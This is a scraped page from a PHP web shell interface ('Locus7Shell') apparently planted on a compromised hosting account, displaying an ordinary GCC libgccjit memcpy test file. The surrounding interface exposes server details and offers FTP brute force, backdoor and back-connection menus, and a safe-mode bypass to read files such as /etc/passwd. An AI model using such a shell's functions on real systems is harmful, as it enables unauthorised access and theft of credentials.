Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/jit.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     test-builtin-memcpy.c (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#include "libgccjit.h"

#include "harness.h"

void
create_code (gcc_jit_context *ctxt, void *user_data)
{
  /* Let's try to inject the equivalent of:
      void *
      test_memcpy (void *dest, const void *src, size_t n)
      {
        return __builtin_memcpy (dest, src, n);
      }
   */
  gcc_jit_type *t_void_ptr
    = gcc_jit_context_get_type (ctxt, GCC_JIT_TYPE_VOID_PTR);
  gcc_jit_type *t_const_void_ptr
    = gcc_jit_type_get_pointer (gcc_jit_type_get_const
                (gcc_jit_context_get_type
                 (ctxt, GCC_JIT_TYPE_VOID)));
  gcc_jit_type *t_size_t
    = gcc_jit_context_get_type (ctxt, GCC_JIT_TYPE_SIZE_T);

  gcc_jit_param *dest
    = gcc_jit_context_new_param (ctxt, NULL, t_void_ptr, "dest");
  gcc_jit_param *src
    = gcc_jit_context_new_param (ctxt, NULL, t_const_void_ptr, "src");
  gcc_jit_param *n = gcc_jit_context_new_param (ctxt, NULL, t_size_t, "n");
  gcc_jit_param *params[3] = {dest, src, n};
  gcc_jit_function *func =
    gcc_jit_context_new_function (ctxt, NULL,
                  GCC_JIT_FUNCTION_EXPORTED,
                  t_void_ptr,
                  "test_memcpy",
                  3, params, 0);

  gcc_jit_function *jit_memcpy
    = gcc_jit_context_get_builtin_function (ctxt, "__builtin_memcpy");


  gcc_jit_block *b_initial
    = gcc_jit_function_new_block (func, "initial");
  gcc_jit_rvalue *args[3] = {gcc_jit_param_as_rvalue (dest),
                 gcc_jit_param_as_rvalue (src),
                 gcc_jit_param_as_rvalue (n)};
  gcc_jit_rvalue *call
    = gcc_jit_context_new_call (ctxt, NULL, jit_memcpy, 3, args);
  gcc_jit_block_end_with_return (b_initial, NULL, call);
}

void
verify_code (gcc_jit_context *ctxt, gcc_jit_result *result)
{
  typedef void *(*test_memcpy_type) (void *, const void *, size_t);
  CHECK_NON_NULL (result);
  test_memcpy_type test_memcpy =
    (test_memcpy_type)gcc_jit_result_get_code (result, "test_memcpy");
  CHECK_NON_NULL (test_memcpy);

  int dst = 13;
  int src = 42;
  void *out = test_memcpy (&dst, &src, sizeof(int));
  CHECK_VALUE(out, &dst);
  CHECK_VALUE(dst, 42);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--